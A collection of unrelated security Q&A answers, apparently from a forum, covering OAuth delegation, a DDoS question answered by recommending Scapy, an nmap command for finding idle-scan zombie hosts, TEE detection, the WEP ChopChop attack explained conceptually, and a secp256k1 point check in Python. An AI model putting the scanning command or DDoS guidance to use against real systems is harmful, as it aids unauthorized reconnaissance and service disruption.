It's hard to make assumptions like that without having concrete details about their internal practices. As far as whether it's a big deal, it probably comes down to trust and risk tolerance. In this case, it sounds like there wasn't much sensitive data in the account. However, in the past, some popular budget management apps required you to enter your credentials for your bank account in order to pull your transactions (perhaps still the case, depending on the app and bank). I'd say this is much more risky access, since your entire bank account is in the hands of a third party. Yet this was (is?) "acceptable" practice (acceptable as in, supported by large banking institutions, although it has raised questions).
The typical solution to this problem would be to use something like OAuth. Using OAuth, Acme would let you choose to delegate limited access to your account in the form of an authorization token that is shared with Bravo. Ideally, the token would only provide the minimum set of privileges necessarily to carry out the required actions.


Creating a DDoS attack using DirectConnect

I think what you are looking for is Scapy. It can do all you request and more and is under active development.

"Scapy is a powerful interactive packet manipulation program. It is able to forge or decode packets of a wide number of protocols, send them on the wire, capture them, match requests and replies, and much more."


How to Find a Zombie candidate for Zombie Scanning?

You can read the documentation of nmap here, who have a section "Finding a Working Idle Scan Zombie Host".

It explain that you must find a host with IPID sequences of either Incremental or Broken little-endian incremental.

You can use a command like sudo nmap -sA -O -v <IP> and find which host has a Incremental or Broken little-endian incremental IPID.


It really depends on the device where the app is running (smartphone/tablet, set-top-box, smart TV...) but typically the detection happens in code running in a CPU mode (and using reserved memory) that cannot be accessed by regular apps. The most typical implementation is by means of a Trusted Execution Environment (TEE).


How ChopChop attack against WEP actually works?

Short answer

The main point to answer your question is that we need to know the original chopped off bit to be able to reconstruct the ICV. Only if we know that original bit, we can correct the altered packet so that it is accepted again.

Longer answer

AFAIK I think your assumption that

  Next, he/she "chops-off" the last byte of the message, right before the ICV (which is also encrypted in the packet)

is wrong. The attacker does not know where the ICV begins, he/she just chops off the last byte of the encrypted message. However, I'm not entirely sure of this. It doesn't matter for the remainder of the answer anyway.

It is important to start the answer with two considerations:

It is always possible to create a corrupted packet based on a captured packet, which will be accepted by the AP (and thus of which the ICV checksum is correct)
The point of the ChopChop attack is not to create a corrupted packet. Its purpose is to recreate the original plaintext packet bit by bit.

I'm not going to go into detail as to why (1) is correct, please read a more mathematical guide for that. Now, we leverage mathematical findings of point (1) to arrive to the ChopChop attack. Imagine the following packet (data + icv):

0101 = data ; 11 = ICV ; full packet = 0101 11

The chopchop attack works by chopping off the last bit of the packet (so that we get 0101 1). Of course, this packet will not be accepted by the AP, as there is no way that the ICV checksum is still correct. Now the chopchop math shows that I can modify this packet so that it becomes correct again (e.g. 0101 0). It has been mathematically proven that we need the original, chopped of data bit to know how we have to modify the packet so that it will be accepted again.

So we need a calculation which uses the chopped of plaintext bit as an input. If we don't know the plaintext bit, we will not be able to know how to modify the chopped packet so that its ICV becomes correct again.

Therefore, we start guessing the chopped off bit, and we run it through the calculation, adapt the ICV, and check if the AP accepts it. If it does so, we know that we have guessed the chopped off bit. If not, we try another one.

In this answer, I have made abstraction of the encryption (I worked with plain text packets). However, due to the nature of the encryption (associative & commutative), this doesn't matter for the underlying logic, that is actually proven by point (1).


Yes.  In order for the public key to be valid (i.e. not just 32 random bytes), the point must be on the curve.  You can test if the point is on the curve by plugging the x and y values into the equation of the curve, and solving the equation 'over the field', to see if the equation checks.

For example, the equation for the secp256k1 curve is:

 y^2 = x^3 + 7

and the field characteristic (p) is:

p=0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f

So, to check if a point is on the curve, you would plug the x and y values of the point into the following equation, and test if it checks:

(y^2 - x^3 - 7) % p == 0

The following point is on the secp256k1 curve:

(0x5633454c810b6e3c881e35f904a6215f1825e46429a54061d1b7448be1b4285e, 0xd1016a4e4b8c6d3a2220e76c8cd66d0ad8e42c1ea84109fef12fa601b5dd09b8)

But, the following point is not:

(0x2d09f894eff47eba35ae4eda6ecfe71fb8263b84c092249e820ba5e6e73c0da3, 0x19ece9e391ce286cbb1907c38359dd4c086e5540fc82593731a2f893ef1bedef)

Here is a short Python script that can be used to test whether a point is on the curve.

def isoncurve(x, y):
    # For secp256k1
    p=0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f
    return (y * y - x * x * x - 7) % p == 0

#returns True
x=0x5633454c810b6e3c881e35f904a6215f1825e46429a54061d1b7448be1b4285e
y=0xd1016a4e4b8c6d3a2220e76c8cd66d0ad8e42c1ea84109fef12fa601b5dd09b8
print (hex(x) + ',' + hex(y) + ' is on secp256k1 curve: ' + str(isoncurve(x, y)))

# Returns False
x=0x2d09f894eff47eba35ae4eda6ecfe71fb8263b84c092249e820ba5e6e73c0da3
y=0x19ece9e391ce286cbb1907c38359dd4c086e5540fc82593731a2f893ef1bedef
print (hex(x) + ',' + hex(y) + ' is on secp256k1 curve: ' + str(isoncurve(x, y)))